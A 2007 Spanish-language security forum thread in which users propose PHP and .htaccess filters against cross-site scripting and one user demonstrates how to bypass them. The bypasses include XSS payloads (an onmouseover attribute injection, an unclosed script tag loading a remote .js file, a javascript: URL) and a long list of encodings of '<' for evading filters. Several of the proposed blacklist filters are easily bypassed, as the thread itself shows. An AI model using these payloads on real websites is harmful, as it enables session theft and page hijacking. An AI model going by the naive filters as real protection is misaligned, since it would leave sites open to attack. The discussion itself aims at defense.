elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Código PHP AntiXSS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 5 Ir Abajo Respuesta Imprimir
Autor Tema: Código PHP AntiXSS  (Leído 27,498 veces)
19.5

Desconectado Desconectado

Mensajes: 67


Ver Perfil
Código PHP AntiXSS
« en: 30 Julio 2007, 02:01 am »

Buenas...
Yo creía que los ataques XSS eran bastante simples y sin mayor provecho que sacar, pero leyendo me di cuenta que estaba muy equivocado.
A partir del siguiente hilo: http://foro.elhacker.net/index.php/topic,164268.0.html me surgio una idea. Esa función es efectiva pero que pasa si a alguien se le ocurren cifrar los carácteres? Por ejemplo "<" ponerlo como %3c ya no funcionaría.
Por eso pense en una función que pudiese evitar la mayor cantidad de posibles ataques XSS, es decir, los mismo carácteres pero cifrados.

Una aclaración: El código siguiente es libre de ser mejorado. Además, se hizo pensando en que cualquiera lo pudiese entender, siendo muy básico para que a uds. se les ocurran ideas. Claramente usando funciones de PHP5 quedaría reducido...

Código:
$chr = "<>,;:'.\"\\&%()#¼¾¢";
$xss = "scripting";

for ($i=0; $i<strlen($xss); $i++)
{
for ($h=0; $h<strlen($chr); $h++)
{
if (substr($xss, $i, 1) == substr($chr, $h, 1))
{
echo "Posible XSS";
exit;
}
}
}

Uso: Cambiar la variable $xss por algo como "prob<ando" y verán el mensaje.

Sería útil a la hora de evaluar un query en un buscador por ejemplo, pero si se quiere analisar un campo referido a noticias lógicamente tendría sus inconveniencias.

A ver quien es capáz de vulnerarlo... :rolleyes:

PD1: Me gustaría leer la crítica sobre el codigo de Sirdarckcat
PD2: No puse el código en las etiquetas "php" porque me transformaba algunos carácteres de la variable $chr.

Ref.:
- http://foro.elhacker.net/index.php/topic,98324.0.html
- http://ha.ckers.org/xss.html
En línea

Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.322


Peace & Love


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #1 en: 30 Julio 2007, 02:09 am »

Lo que estas haciendo es verificando si uno de los caracteres en $chr esta en el string? Porque no mejor comparar con una expresion regular que no accepte esos ? Correr dos loops no es muy bonito y en especial si el mensaje son varios parrafos.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
sirdarckcat
Aspirante a supervillano
Colaborador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #2 en: 30 Julio 2007, 02:45 am »

si, ademas es un poco lento..
Una buena opción para DETECTAR ataques de XSS, sería php-ids (php-ids.org)..
Una para permitir HTML, sin tener peligro de XSS, pueden usar html-purifier (htmlpurifier.org)..

Aun asi, para algo rapido, puedes hacer una expresion regular como bien dice crack_x
:D
Saludos!!
En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Código PHP AntiXSS
« Respuesta #3 en: 30 Julio 2007, 03:39 am »

Mira que os complicáis la vida creando funciones que lo único que hacen es que el proceso de carga sea más lento, o por lo menos esa es mi opinión personal...

¿Alguien me puede decir por qué no se utiliza en estos casos la función htmlentities()?

Citar
htmlentities($_GET['var'], ENT_QUOTES)

Si lo que quieren es evitar RFI, no dejen en manos de una variable el fichero a incluir, utilicen switch para inclusiones dinámicas...

Y quizás lo más importante, no cojan malos hábitos de programación escribiendo los atributos de los campos sin comillas dobles/simples.

En línea

sirdarckcat
Aspirante a supervillano
Colaborador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #4 en: 30 Julio 2007, 04:13 am »

htmlentities es LA funcion de XSS jaja, pero no siempre es muy buena, porque rompe cosas que aveces no deben romperse.. (por ejemplo si vas a hacer algo mas con ese input, debes descodificarlo antes de usarse).. por eso, la mejor opción orientada a casos particulares, es hacer tu propia expresión regular, siembargo, si no tienes idea de como parchear, y solo quieres estar seguro que no te van a atacar con XSS, usa htmlentities, el doctor lo recomienda xD
En línea

born2kill

Desconectado Desconectado

Mensajes: 173


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #5 en: 30 Julio 2007, 06:23 am »

jajja, esta muy bien el codigo....no te parece mejor un .htaccess  :xD .... Lo que se te va a hacer un mundo cargando la web  :xD

Si alguien logra vulneral esto  :D

.htaccess

Código:
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\"|%22).*(\>|%3E|<|%3C).* [NC]
RewriteRule ^(.*)$ index.php [NC]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC]
RewriteRule ^(.*)$ index.php [NC]
RewriteCond %{QUERY_STRING} (javascript:).*(\;).* [NC]
RewriteRule ^(.*)$ index.php [NC]
RewriteCond %{QUERY_STRING}
RewriteRule ^(.*)$ index.php [NC]
RewriteRule (,|;|<|>|'|`) /index.php [NC]

« Última modificación: 30 Julio 2007, 08:24 am por born2kill » En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Código PHP AntiXSS
« Respuesta #6 en: 30 Julio 2007, 10:46 am »

En fin, una vez más intentáis poner soluciones a vuestros errores, ¿habéis probado a no cometerlos? Yo personalmente tan solo muestro la variable filtrada cuando tengo que imprimirla en la página web, anteriormente uso expresiones regulares para comprobar que la cadena usa caracteres permitidos...

born2kill, cambia tu forma de pensar a no tengo que cometer esos fallos...
En línea

sirdarckcat
Aspirante a supervillano
Colaborador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #7 en: 30 Julio 2007, 23:02 pm »

born2kill:
Código:
(\"|%22).*(\>|%3E|<|%3C).*
supongo que es para prevenir attribute splitting, como en:
Código
  1. <?php
  2. echo "<a href=\"{$_GET['entrada']}\">Link</a>";
  3. ?>
  4.  
se puede saltar simplemente no cerrando el atributo
?a=" onmouseover="alert(/xss/.source)"

Código:
(\<|%3C).*script.*(\>|%3E) 
se salta, igual no cerrando <script.. asi:
Código:
<script src=//sirdarckcat.net/cache_poisoning.js x

Código:
(javascript:).*(\;).*
no pones el ; al final..
Código
  1. javascript:alert("pwned")

Código:
(,|;|<|>|'|`)
la coma la puedes no usar llamando funciones desde funcion.apply, los ; puedes no usarlos, los "<" y ">" si los quitas, entonces para que son las primeras 2 reglas? XD, y las comillas, para ataques de XSS no son necesarias, puedes usar /texto/.source

Saludos!!
En línea

wizache

Desconectado Desconectado

Mensajes: 143


El que poco sabe poco vive


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #8 en: 31 Julio 2007, 02:13 am »

justamenteme acabo de topar con ese problema en mi pagina y utilice esta funcion, por lo pronto me parece funcional y ademas solo evita el javascript y no el html como por ejmplo la funcion htmlentities, seria cosa de ver si alguien la rompe:

http://quickwired.com/smallprojects/php_xss_filter_function.php

Saludos
En línea

19.5

Desconectado Desconectado

Mensajes: 67


Ver Perfil
Re: Código PHP AntiXSS
« Respuesta #9 en: 31 Julio 2007, 03:17 am »

justamenteme acabo de topar con ese problema en mi pagina y utilice esta funcion, por lo pronto me parece funcional y ademas solo evita el javascript y no el html como por ejmplo la funcion htmlentities, seria cosa de ver si alguien la rompe:

http://quickwired.com/smallprojects/php_xss_filter_function.php

Saludos

Pronto iva a publicar (desde el e-book Cross Site Scripting Attacks XSS Exploits and Defense 2007) esa función para que también la comentaran porque justamente ocupa expresiones regulares y ademas trata de tapar la mayoría de los hoyos. Aunque yo creo que sí es posible vulnerarla.

Tómense un poco de tiempo y analisen la siguiente lista.
Código:
Formas de codificar el caracter "<": 

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
« Última modificación: 31 Julio 2007, 03:20 am por 19.5 » En línea

Páginas: [1] 2 3 4 5 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines